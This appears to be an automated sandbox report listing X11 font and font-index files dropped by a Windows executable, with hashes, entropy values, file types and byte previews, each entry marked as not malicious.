SHA-512:	BCE948A0AE476B1FC9A1B813AB04FDBE12DD925FA58E536B4043A989205C0C7782F1E91AE4A44565EED426AE63B2FDADB11915D984DA816CBB7CD89772DB535E
Malicious:	false
Preview:	.fcp............................d...................p................... ........2......@............B...............C..........d...$F......................D....x...O........Z....d...g....d...t....n.........................................................................................-...F....K...........................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University..POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU PUA.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1._XMBDFED_INFO.Edited with xmbdfed 4.4..FONT.-MUTT-ClearlyU PUA-Medium-R-Normal--17-120-100-100-P-110-ISO10646-1.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.............................................................................................................5........................................{....\|....................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cu12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	752456
Entropy (8bit):	4.305828175281282
Encrypted:	false
SSDEEP:	3072:XSGS3TtR4ZKgFg+b7XXGxrSpBTlB+GTaCkIIikfx0hDQGhQVxZj9xn9XBiPlxFdZ:XT4T/SK2gCXGhqJB3Ux6QGhQot5r9
MD5:	7E6726DD838AA21ED504E7A5766E86AF
SHA1:	8AF22FED6BAF63ABE395937F0520F06C0E04E171
SHA-256:	E59147EB89BAE1286E6ED9A54D183BAF0981E579408FEF476C079EB9924FD144
SHA-512:	8CCF67173ABAD756AD7A4BCA41440D08EA18E684EC27A9ADF98F2F28BFCCBD3976AC9298B3A672A1C38135C5D165A0C954348549A9CE03E097EE3E3D66F51C36
Malicious:	false
Preview:	.fcp............................d............... ...x...........x....... ............f..@........... f.............<...........d....{......................D....R...k....s...x..........................................................x........d........d.................{........&.../....@...B........M........V....[.................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University.._XMBDFED_INFO.Edited with xmbdfed 4.4..FOUNDRY.MUTT.FAMILY_NAME.ClearlyU.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FONT.-MUTT-ClearlyU-Medium-R-Normal--17-120-100-100-P-123-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................#..............................................................!...............y........................y..............{..............}....................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cuarabic12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	175096
Entropy (8bit):	1.9207845958139405
Encrypted:	false
SSDEEP:	384:GSmNBKOwcSL1baBPYjjjTkLIEP1KD4IMUa:GSIBds1OB9diJa
MD5:	914CCCD528AAF0A985B031B1951A39F2
SHA1:	B06EEB6818B25B147740BAFF8535B2CF046155FC
SHA-256:	3D20376CAE783E04E4C51D6E53CC2FA9C1E8AC40D437A83B778BA0D3FE612C48
SHA-512:	35CF997DD6563A7DA7D3121CB5B33950BBCB7032AA316EE7E68FD90CD8C2003A2873EF94E27CE2B27C5A3AD650B53B8C514F3ADB86E4CDAE01D3682751537B6E
Malicious:	false
Preview:	.fcp............................d...,...........D...............x~...... ...........L...@...........\...........................d..........................D....x...O........Z....d...g....d...t....]................................................................................*...,....:...S........^........g....l.................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University..POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU Arabic Extra.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.FontSpecific.CHARSET_ENCODING.0._XMBDFED_INFO.Edited with xmbdfed 4.4..CAP_HEIGHT.X_HEIGHT.FONT.-MUTT-ClearlyU Arabic-Medium-R-Normal--17-120-100-100-P-93-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cudevnag12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	83904
Entropy (8bit):	1.4970507359989096
Encrypted:	false
SSDEEP:	192:FptUq2D/POlcDOfGCiTB8YFyLnZOanTSaCKy6iqSamtKy6Tx4B:Fkq2DdqGPTyYQLZf+PPPPPPog
MD5:	FAEB60ED3DC0C0C2A51A474386BD6A76
SHA1:	D7AC7EE9FCC3ADBC492B579A7C6227A46574D8A8
SHA-256:	DA2318FC478CFFB9C17BF23086BCD9E435D88A9D60E86C5C407E7901A2F86C98
SHA-512:	5479D8FA7CD4F794CA6AA4628E28CE32ECE060DD0A66534F1196AB005529E348E776DB28F8161F7ED0D6D5F3FB9F2C470CF1DBC22D718B23220EB69CEDC6290F
Malicious:	false
Preview:	.fcp............H...............d...............D...4............*..x... ...........02..@.......l....9..........8...X=..........d....G..................x.................Z...#....Z...0....h...>....F...H....P...U....a...u......................................................................._........f....\|...q........z.........POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU Devanagari.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.FontSpecific.CHARSET_ENCODING.0._XMBDFED_INFO.Edited with xmbdfed 4.4..FONT.-MUTT-ClearlyU Devanagari-Medium-R-Normal--15-120-90-90-P-104-FontSpecific-0.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.................................................................................................................s....r....................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cursor.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	16916
Entropy (8bit):	3.6737448244295123
Encrypted:	false
SSDEEP:	192:63tfGS9lb0NVFrHsBs/RcarlrrXXrrbX18oXrrzrrrrrrbLrzrrrqrSrrQtrzVtS:qtTbb0NVuG/2WCzZX+GGT
MD5:	E9269414D89BB6D6B1E03C312385C98A
SHA1:	1269B09C05490B375BA311ECB1E021599C06795E
SHA-256:	0E5D4ED2C84A7C8692C958B171969DF00FB6A7ED7A593D0BDE74D3CFEE9EF99F
SHA-512:	75D224375E83CEAB974BF19EE67E66F8A59386070CD410A7CCC910D3A5B7E8850700715CDDE24F163FA52494E9160297356AD5268AC4711AA95392915AAF0AA3
Malicious:	false
Preview:	.fcp............$...............d...............(...............04..8... .......P...h9..@............:..............@=..........d....A...................<........G....L...S........Z....k...e....N...r....N....................................COPYRIGHT.(C) 2002 Asif Ali Rizwaan <maarizwan@hotmail.com>.POINT_SIZE.FONT.cursor.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.X_HEIGHT.QUAD_WIDTH._XMBDFED_INFO.Edited with xmbdfed 4.3............................................z.....................................................................................\|....z....\|....z..................................n....m....x....w........................\|....{..................................y....y..............y....y..................................~....}....u...u....u...u............w....w....x....w........................\|....\|....\|....\|............................................w....u....................................................................................x....w....z....y..........

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\deccurs.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	6492
Entropy (8bit):	4.344605768075344
Encrypted:	false
SSDEEP:	48:BPgrHb0vttg8l9v57D3k7BaLoqKIODfccRREjIAlrjelJ5urUV:OrHb0vteg9h7gZdI4fLRGNjelgUV
MD5:	207584F0EC88E2F468EC41D606DFFC2F
SHA1:	019C75AE544EA2353841D7B6511A7C82F5899DA9
SHA-256:	9AB42E9894E97291FE7092BB5ACADB3676E8227AAC206F8E9245416C234F4803
SHA-512:	583A680D127E2B73A983E297E45FA5B1EBF49C18737C418DE9655A2D0CC3E2B5E759E61A6802A386221FF208136D6577DC3B2CD8FC0C2E9AF40340EB588CBBAE
Malicious:	false
Preview:	.fcp............................d...................p................... .......\|.......@.......................4...............d...,.......................&....-...e....o........6..........................k........N........N.......................FOUNDRY.Digital Equipment Corporation.NOTICE.These images are owned by Digital Equipment Corporation.COPYRIGHT.Copyright (c) Digital Equipment Corporation,1988. All Rights Reserved..POINT_SIZE.FONT.DECW$CURSOR.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.X_HEIGHT.QUAD_WIDTH............................................................................................................6..........~....~....~....~....x....x....z....z....z....z....y....y....}....}....}....}....z....z....x....x..............{....{....q....q..............q....q....z....z....y....y....x....x........................x....x....q....q..............~....~....q....q....{....{...........6.......@...............@...............@...............@...............@...............$...`

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\decsess.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	2248
Entropy (8bit):	4.145020027770502
Encrypted:	false
SSDEEP:	24:2eZBk/0KrlNY0vY0AYsOB+F299NmRYRVFCu9U6ChpnEOdRyKbSxr:VertNB9/mWsup
MD5:	AC6898B643A7F32ED61BE221E1907CF1
SHA1:	A9F8619BF76B6942AA4707A317609B3017BA5AF6
SHA-256:	CC1C545BB60D9FB112917FA745DFF2C6D889A3BD4F3E582A6687568A652AB991
SHA-512:	FAEB53E1DD3C37C1A692C1EFE6C2890E11232AF0A11B0FC8D44AA4374DF56E18434FD565F2F579800383B4FF0E2ABCF07946DD49EA0C9DBEED887954D8DC4E14
Malicious:	false
Preview:	.fcp............................d...............L...p................... .......x...d...@.......@...............\|...............d...........................&....-...e....o........6..........................k........N........N.......................FOUNDRY.Digital Equipment Corporation.NOTICE.These images are owned by Digital Equipment Corporation.COPYRIGHT.Copyright (c) Digital Equipment Corporation,1988. All rights reserved.POINT_SIZE.FONT.DECW$SESSION.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.X_HEIGHT.QUAD_WIDTH..................................................................................................................................................................................................@...............4...t...............X.......................X................A...@`.. ... ........ ...........D..."..........................D... ................................"...................................................................................... ... ...@@..@@... ..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\encodings.dir

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2650
Entropy (8bit):	4.737080406717376
Encrypted:	false
SSDEEP:	48:ysBsUsksZs8sOs8sresg7xdsgx4hqsglYesggn6sg3Xsg68sgpBsg4b5sg4bOsgw:NeH32PxPrhg7wgWhlgl6ggVg38g6Pgpj
MD5:	5A4EA7F585D461621ABFD9BF82696E25
SHA1:	72A1F60015CAD962AC160116FF99F1C6A9E97024
SHA-256:	04C53E7E66895062E4447F484DD37935E9DB7122E0174B710B831086BE31E615
SHA-512:	29741B04B665906044D0E8E129656F0D536AF5EBD8B49C3814973067B61DC253E987EFABB7131A74DEA71409FFBE6A43E143A746E9D50E914A6D66EE048C2BC0
Malicious:	false
Preview:	39.viscii1.1-1 /usr/X11R6/lib/X11/fonts/encodings/viscii1.1-1.enc.gz.tis620-2 /usr/X11R6/lib/X11/fonts/encodings/tis620-2.enc.gz.tcvn-0 /usr/X11R6/lib/X11/fonts/encodings/tcvn-0.enc.gz.suneu-greek /usr/X11R6/lib/X11/fonts/encodings/suneu-greek.enc.gz.mulelao-1 /usr/X11R6/lib/X11/fonts/encodings/mulelao-1.enc.gz.mulearabic-2 /usr/X11R6/lib/X11/fonts/encodings/mulearabic-2.enc.gz.mulearabic-1 /usr/X11R6/lib/X11/fonts/encodings/mulearabic-1.enc.gz.mulearabic-0 /usr/X11R6/lib/X11/fonts/encodings/mulearabic-0.enc.gz.microsoft-win3.1 /usr/X11R6/lib/X11/fonts/encodings/microsoft-win3.1.enc.gz.microsoft-cp1258 /usr/X11R6/lib/X11/fonts/encodings/microsoft-cp1258.enc.gz.microsoft-cp1257 /usr/X11R6/lib/X11/fonts/encodings/microsoft-cp1257.enc.gz.microsoft-cp1256 /usr/X11R6/lib/X11/fonts/encodings/microsoft-cp1256.enc.gz.microsoft-cp1255 /usr/X11R6/lib/X11/fonts/encodings/microsoft-cp1255.enc.gz.microsoft-cp1254 /usr/X11R6/lib/X11/fonts/encodings/microsoft-cp1254.enc.gz.microsoft-cp1253 /usr/X11R6

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\fonts.alias

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9337
Entropy (8bit):	4.600071120401499
Encrypted:	false
SSDEEP:	192:pvyX27zvmqNvP8SBZSbWYYsLK57Lv5vPhAvMvyLv:pZ/fNn8OZSbJA3BSke
MD5:	9B2CB92D9AD6E6BF5E887B17D3907BCC
SHA1:	D3DE3FB3F1A07E154A915EBAADA7A3F15C4DEE34
SHA-256:	14B5CA2D5D2B1F59D97AE55B11F978F52C1B33FD6931469A8C99567043CB29B1
SHA-512:	38D95F94ED6476CC64C0CC577CEC6416F0B7ED6370D7DFFFA1B51B64A5292F1B2D966567BB5885BCE680009DE8CB2D25BBAB6382EDAF6E04E486A38CBB804FF1
Malicious:	false
Preview:	! $Xorg: fonts.alias,v 1.3 2000/08/21 16:42:31 coskrey Exp $.fixed -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1.variable --helvetica-bold-r-normal---120----*-iso8859-1.5x7 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1.5x8 -misc-fixed-medium-r-normal--8-80-75-75-c-50-iso8859-1.6x9 -misc-fixed-medium-r-normal--9-90-75-75-c-60-iso8859-1.6x10 -misc-fixed-medium-r-normal--10-100-75-75-c-60-iso8859-1.6x12 -misc-fixed-medium-r-semicondensed--12-110-75-75-c-60-iso8859-1.6x13 -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1.6x13bold -misc-fixed-bold-r-semicondensed--13-120-75-75-c-60-iso8859-1.7x13 -misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1.7x13bold -misc-fixed-bold-r-normal--13-120-75-75-c-70-iso8859-1.7x13euro -misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-15.7x13eurobold -misc-fixed-bold-r-normal--13-120-75-75-c-70-iso8859-15.7x14 -m

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\fonts.dir

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190719
Entropy (8bit):	4.7771738246216024
Encrypted:	false
SSDEEP:	384:/dep3FOUovwiOsksaUmC2GbWWYHsmhw2giO6y3qi0DntR3E7uRaaDk+d9bUv0Uix:0dovxCPbUv0ryQGbSGUa6
MD5:	71692DF801F318749A942804D3F85A69
SHA1:	A3F1F32DAD3D17302E2FB91C8B1F01441AC75D14
SHA-256:	3D4F66CBD345B7D4962E673B2206FE7973B7CD040726CF46D34979476CE4281C
SHA-512:	C2E2BDED61F52084B466F28F6F919C09855E75417F0AD0275AF6904097E4D5801968446728DC5414F0D2E760B0C59B76ED7E2B990543AF67EF007503C00F1415
Malicious:	false
Preview:	2320.10x20-ISO8859-1.pcf -misc-fixed-medium-r-normal--20-200-75-75-c-100-iso8859-1.10x20-ISO8859-1.pcf -sony-fixed-medium-r-normal--24-170-100-100-c-120-iso8859-1.4x6-ISO8859-1.pcf -misc-fixed-medium-r-normal--6-60-75-75-c-40-iso8859-1.5x7-ISO8859-1.pcf -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1.5x8-ISO8859-1.pcf -misc-fixed-medium-r-normal--8-80-75-75-c-50-iso8859-1.6x10-ISO8859-1.pcf -misc-fixed-medium-r-normal--10-100-75-75-c-60-iso8859-1.7x13-ISO8859-1.pcf -misc-fixed-medium-r-semicondensed--12-110-75-75-c-60-iso8859-1.7x13-ISO8859-1.pcf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1.7x13B-ISO8859-1.pcf -misc-fixed-bold-r-semicondensed--13-120-75-75-c-60-iso8859-1.6x13O-ISO8859-1.pcf -misc-fixed-medium-o-semicondensed--13-120-75-75-c-60-iso8859-1.6x9-ISO8859-1.pcf -misc-fixed-medium-r-normal--9-90-75-75-c-60-iso8859-1.7x13-ISO8859-1.pcf -misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1.7x13B-ISO8859-1.pcf -misc-fixed-bold-r-normal--13-120-75-75-c

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\fonts.scale

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:F:F
MD5:	897316929176464EBC9AD085F31E7284
SHA1:	09D2AF8DD22201DD8D48E5DCFCAED281FF9422C7
SHA-256:	9A271F2A916B0B6EE6CECB2426F0B3206EF074578BE55D9BC94F6F3FE3AB86AA
SHA-512:	A546D1300F49037A465ECEC8BC1EBD07D57015A5FF1ABFA1C94DA9B30576933FB68E3898FF764D4DE6E6741DA822A7C93ADC6E845806A266A63AA14C8BB09EBB
Malicious:	false
Preview:	0.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB08-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	11156
Entropy (8bit):	4.1686700403585935
Encrypted:	false
SSDEEP:	96:8T10ZEaGUiQgoNrbbTvKC6mtRo3BtiYYY7ZOGXanbZ3Ea8OoIOll07e0:8TsjbbT9te3lZOUabZTAGl
MD5:	B7A6559944C71F6383BD2CECA6646980
SHA1:	EE0CDF21FA35BE1644627E77A8A8FA2EFC860DF7
SHA-256:	E0E0A0638161ED38769D7E520BB00ABDB6DF380B232DBC9ECA2ED54CA07D3F7B
SHA-512:	DBC746E475BDF956A5D4887703D71343A0613FE4ACEE6EE73BEC8F55277F4AE74619FDB407820389AF1EADC366711FF6EFFBADB4716D65DA0CD8FC8BDAF87228
Malicious:	false
Preview:	.fcp............................d...<...............................h... ...........<...@...........L ..............T#..........d...d+...............................$....0...5....;...=....K...R....a...b........m....P...x....K........K.................2................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB08.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	60356
Entropy (8bit):	3.815464103372639
Encrypted:	false
SSDEEP:	384:IbbT07MX49QfHrEzSYABgwAR7qI24HPvakHHHQ0UAtXqaCjHdQ0XLTfVPj:ipEzSYA6f7K2aaCrNbTfVPj
MD5:	B76DC20DF60A011547D901FA0C269BA5
SHA1:	17CF47E516295028B7563814B50881D231AF9FAF
SHA-256:	C735F5A88977512B694327358E703F8FD82B29263D1FA710FC4D6B232125F497
SHA-512:	0494CA745C9207F58FE30DC6208A19F7D090F4A2F38E031A07EC4AE28D4CF60C7662B9FAACFBC7E9C825392B13926F6A468F3426DE8F71C1C57D981B831B07EB
Malicious:	false
Preview:	.fcp............................d...<............................c..l... ........F..xv..@.......................4#..`...........d....................................$....0...5....;...=....K...R....a...b........m....P...x....K........K.................2................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB10-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12208
Entropy (8bit):	4.085857996053494
Encrypted:	false
SSDEEP:	96:510WKs7Nfl0Ro3BtiYYY7ZOGXanbZ3Ea8OoIOll07et:5dXme3lZOUabZTAGc
MD5:	70FFB75AE440D8DA8F1CBD15A3E62AF0
SHA1:	7E0D431EBB89F923D9262E45BBA5E1C5F7999F90
SHA-256:	7674FBD3AA78B8A803277CE99D7ED105449E19ED7CA83CFF6B52143C4501A97A
SHA-512:	92853CB3454E1E0619DF0B38AE97ED7A13838E2126079D6A78B560AE8B22CCAD1E9F5D990F456E6FBD8091F164AD865C02F88D494F861765A9180C6858FEB7A4
Malicious:	false
Preview:	.fcp............................d...<...............................h... ...........X"..@...........h$..............p'..........d..../...............................$....0...5....;...=....K...R....a...b........m....d...x....K........K.................<................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	64452
Entropy (8bit):	3.7961551305674472
Encrypted:	false
SSDEEP:	384:8XDTuKw+VguHPD7qI24HPvakHHHQ0UAtXqaCjHdQ0XLTfVPJ:UVVp77K2aaCrNbTfVPJ
MD5:	0C387082245E15BAF0F8320CF54C7ED2
SHA1:	28B4F7B784C63EE31A6D19FF33BCFC1E23C9AE75
SHA-256:	9313BABCB30B35307D69844F79F6C01B37CC7E334572D370FD74DF40A242705B
SHA-512:	287CDA4EEFB491066A4552F8D0E6F646F8AE7E1DB38D0B272D3AF6E13CC7C4DF2D985C33F1D94E384691DB0F68CF0431C553E82DB1D0AD05B3FC29CB8AFE32EB
Malicious:	false
Preview:	.fcp............................d...@............................s..p... ........F..x...@.......................4#..`...........d....................................$....0...5....;...=....K...R....a...b........m....d...x....K........K.................<................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12972
Entropy (8bit):	4.035049788058584
Encrypted:	false
SSDEEP:	96:IK1qLXpJ8ceQgi1xxxanCFJSsqmo6YKo6Ro3BtiYYY7ZOGXanbZ3Ea8OoIOll07n:IKALZJBg9dsqmoIo6e3lZOUabZTAGL
MD5:	F1C3753B8C3D18F05BEEEE8E5FC226E3
SHA1:	A030398BCE3656F04636BCAC836111B8C3C49885
SHA-256:	A114AE3AA0935680C9CE6676E1C06421B04864889551EEB990F7DB6A6AFDE7A9
SHA-512:	7937D2E992A10A1B4C1B0FDC580C5FEBDAD77968AE5EAB8D6ECC8CCCA837D555CEEA4A8958673A669147BD764AC17606EF874718F7620CBBBA1E6BB8B6663AF7
Malicious:	false
Preview:	.fcp............................d...<...............................h... ...........T%..@...........d'..............l*..........d...\|2...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13376
Entropy (8bit):	3.957454684699778
Encrypted:	false
SSDEEP:	96:Z5C1KLXpJ8cehgr4w/xx8HJS+y9oO8NRo3hi9nYYYQZOLWAPMbZ3+L+sLhaLcc:ZIILZJLr4699oO8Ne3hGZOLWrZbsLQd
MD5:	7297BBBA7DFBF1BED7F8C56089EC2B8B
SHA1:	A9B362E894E457B825E646B8FACCC035E9E7E6D1
SHA-256:	C92646A792CB31ED20E8F0E8D607C04057BD07981128EB611E07237E467D370F
SHA-512:	1D78CE346FE3AD372A25A5B999A6B24ABECA1B08144C952141C3E334505E08031684A482D5F3BEC95726737BCB6E97A7658AF713B1A1405E7F56215B1A80F276
Malicious:	false
Preview:	.fcp............................d...@...............................l... ............'..@............)...............,..........d....4...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.10.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica 